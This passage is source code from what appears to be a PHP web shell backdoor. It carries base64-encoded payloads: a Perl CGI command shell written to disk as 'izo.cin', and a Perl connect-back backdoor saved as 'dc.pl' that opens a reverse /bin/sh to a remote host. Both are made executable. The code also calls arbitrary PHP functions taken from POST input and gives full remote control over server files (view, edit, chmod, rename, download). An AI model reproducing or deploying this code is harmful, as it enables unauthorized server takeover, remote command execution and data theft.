1983Y29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUg
1984c3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMg
1985ZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1l
1986bnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2Fk
1987ZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1988LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsN
1989Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBl
1990eGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8g
1991dGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJI
1992KiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2Fk
1993JmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
1994PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmlu
1995dFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxl
1996ICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0
1997b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5E
1998DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0N
1999CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7
2000DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50Rmls
2001ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0t
2002LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2003LS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJv
2004bSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2Fu
2005IGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmll
2006ZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t
2007LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2008LQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlm
2009KG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7
2010DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNU
2011RE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmls
2012ZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQt
2013VHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6
2014ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7
2015IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShT
2016RU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQ
2017YWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAk
2018ISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9
2019DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2020LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxl
2021ZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0K
2022IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
2023Y2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0
2024aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlz
2025IHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2026LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
2027dWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBm
2028aWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9e
2029XFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBw
2030YXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0K
2031CWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFy
2032Z2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAk
2033UGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2Ug
2034aGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZp
2035bGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsN
2036CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0t
2037LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2038LS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIg
2039d2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwg
2040aXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxl
2041LCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0t
2042LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2043LS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwg
2044cHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7
2045DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQ
2046cmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0K
2047DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFu
2048c2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVh
2049bGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXRO
2050YW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJh
2051bnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQx
2052Ow0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0
2053aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJ
2054aWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmlu
2055dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgll
2056bHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRU
2057YXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJ
2058cHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsN
2059CgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXBy
2060aW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlw
2061cmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1h
2062bmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0t
2063LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2064LS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRz
2065IHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQs
2066IGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmls
2067ZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlk
2068ZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0K
2069Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2070LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmls
2071ZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5z
2072ZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50Rmls
2073ZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkj
2074IGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJ
2075aWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5U
2076ICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJ
2077JFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2
2078ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikg
2079PX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsN
2080Cgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0K
2081CXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhh
2082dmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1Bh
2083Z2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2084LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWlu
2085IFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2086LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
2087CiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NS
2088SVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBh
2089c3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmls
2090ZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9
2091Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNp
2092ZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29t
2093bWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1
2094cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZElu
2095ID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJs
2096b2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJm
2097b3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMg
2098dG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24g
2099ZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZp
2100bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3du
2101bG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9n
2102b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
2103 $file = fopen("izo.cin", "w+");
2104 $write = fwrite($file, base64_decode($cgishellizocin));
2105 fclose($file);
2106 chmod("izo.cin", 0755);
2107 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
2108MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
2109ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
2110MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
2111ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
2112MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
2113Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
2114KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
2115SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
2116ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
2117UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
2118VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
2119ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
2120JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
2121bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
2122ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
2123YXRhY2hlZFxuXG4iOw==';
2124 $file = fopen("dc.pl", "w+");
2125 $write = fwrite($file, base64_decode($netcatshell));
2126 fclose($file);
2127 chmod("dc.pl", 0755);
2128 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
2129 echo '</div>';
2130 printFooter();
2131 }
2132
2133function actionStringTools() {
2134 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2135 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2136 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
2137 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2138 if(isset($_POST['ajax'])) {
2139 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2140 ob_start();
2141 if(function_exists($_POST['p1']))
2142 echo $_POST['p1']($_POST['p2']);
2143 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2144 echo strlen($temp), "\n", $temp;
2145 exit;
2146 }
2147 printHeader();
2148 echo '<h1>String conversions</h1><div class=content>';
2149 $stringTools = array(
2150 'Base64 encode' => 'base64_encode',
2151 'Base64 decode' => 'base64_decode',
2152 'Url encode' => 'urlencode',
2153 'Url decode' => 'urldecode',
2154 'Full urlencode' => 'full_urlencode',
2155 'md5 hash' => 'md5',
2156 'sha1 hash' => 'sha1',
2157 'crypt' => 'crypt',
2158 'CRC32' => 'crc32',
2159 'ASCII to HEX' => 'ascii2hex',
2160 'HEX to ASCII' => 'hex2ascii',
2161 'HEX to DEC' => 'hexdec',
2162 'HEX to BIN' => 'hex2bin',
2163 'DEC to HEX' => 'dechex',
2164 'DEC to BIN' => 'decbin',
2165 'BIN to HEX' => 'bin2hex',
2166 'BIN to DEC' => 'bindec',
2167 'String to lower case' => 'strtolower',
2168 'String to upper case' => 'strtoupper',
2169 'Htmlspecialchars' => 'htmlspecialchars',
2170 'String length' => 'strlen',
2171 );
2172 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2173 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2174 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2175 foreach($stringTools as $k => $v)
2176 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2177 echo "</select><input type='submit' value='Submit'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2178 if(!empty($_POST['p1'])) {
2179 if(function_exists($_POST['p1']))
2180 echo htmlspecialchars($_POST['p1']($_POST['p2']));
2181 }
2182 echo"</pre></div>";
2183 printFooter();
2184}
2185function actionFilesTools() {
2186 if( isset($_POST['p1']) )
2187 $_POST['p1'] = urldecode($_POST['p1']);
2188 if(@$_POST['p2']=='download') {
2189 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
2190 ob_start("ob_gzhandler", 4096);
2191 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2192 if (function_exists("mime_content_type")) {
2193 $type = @mime_content_type($_POST['p1']);
2194 header("Content-Type: ".$type);
2195 }
2196 $fp = @fopen($_POST['p1'], "r");
2197 if($fp) {
2198 while(!@feof($fp))
2199 echo @fread($fp, 1024);
2200 fclose($fp);
2201 }
2202 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
2203 }
2204 exit;
2205 }
2206 if( @$_POST['p2'] == 'mkfile' ) {
2207 if(!file_exists($_POST['p1'])) {
2208 $fp = @fopen($_POST['p1'], 'w');
2209 if($fp) {
2210 $_POST['p2'] = "edit";
2211 fclose($fp);
2212 }
2213 }
2214 }
2215 printHeader();
2216 echo '<h1>File tools</h1><div class=content>';
2217 if( !file_exists(@$_POST['p1']) ) {
2218 echo 'File not exists';
2219 printFooter();
2220 return;
2221 }
2222 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2223 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
2224 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2225 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2226 if( empty($_POST['p2']) )
2227 $_POST['p2'] = 'view';
2228 if( is_file($_POST['p1']) )
2229 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2230 else
2231 $m = array('Chmod', 'Rename', 'Touch');
2232 foreach($m as $v)
2233 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2234 echo '<br><br>';
2235 switch($_POST['p2']) {
2236 case 'view':
2237 echo '<pre class=ml1>';
2238 $fp = @fopen($_POST['p1'], 'r');
2239 if($fp) {
2240 while( !@feof($fp) )
2241 echo htmlspecialchars(@fread($fp, 1024));
2242 @fclose($fp);
2243 }
2244 echo '</pre>';
2245 break;
2246 case 'highlight':
2247 if( is_readable($_POST['p1']) ) {
2248 echo '<div class=ml1 style="background-color: #080510;color:#080510;">';
2249 $code = highlight_file($_POST['p1'],true);
2250 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2251 }
2252 break;
2253 case 'chmod':
2254 if( !empty($_POST['p3']) ) {
2255 $perms = 0;
2256 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2257 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2258 if(!@chmod($_POST['p1'], $perms))
2259 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2260 else
2261 die('<script>g(null,null,null,null,"")</script>');
2262 }
2263 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="Submit"></form>';
2264 break;
2265 case 'edit':
2266 if( !is_writable($_POST['p1'])) {
2267 echo 'File isn\'t writeable';
2268 break;
2269 }
2270 if( !empty($_POST['p3']) ) {
2271 @file_put_contents($_POST['p1'],$_POST['p3']);
2272 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
2273 }
2274 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
2275 $fp = @fopen($_POST['p1'], 'r');
2276 if($fp) {
2277 while( !@feof($fp) )
2278 echo htmlspecialchars(@fread($fp, 1024));
2279 @fclose($fp);
2280 }
2281 echo '</textarea><input type=submit value="Submit"></form>';
2282 break;
2283 case 'hexdump':
2284 $c = @file_get_contents($_POST['p1']);
2285 $n = 0;
2286 $h = array('00000000<br>','','');
2287 $len = strlen($c);
2288 for ($i=0; $i<$len; ++$i) {
2289 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
2290 switch ( ord($c[$i]) ) {
2291 case 0: $h[2] .= ' '; break;
2292 case 9: $h[2] .= ' '; break;
2293 case 10: $h[2] .= ' '; break;
2294 case 13: $h[2] .= ' '; break;
2295 default: $h[2] .= $c[$i]; break;
2296 }
2297 $n++;
2298 if ($n == 32) {
2299 $n = 0;
2300 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
2301 $h[1] .= '<br>';
2302 $h[2] .= "\n";
2303 }
2304 }
2305 echo '<table cellspacing=1 cellpadding=5 bgcolor=#000><tr><td bgcolor=#000><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#000><pre>'.$h[1].'</pre></td><td bgcolor=#000><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
2306 break;
2307 case 'rename':
2308 if( !empty($_POST['p3']) ) {
2309 if(!@rename($_POST['p1'], $_POST['p3']))
2310 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
2311 else
2312 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
2313 }
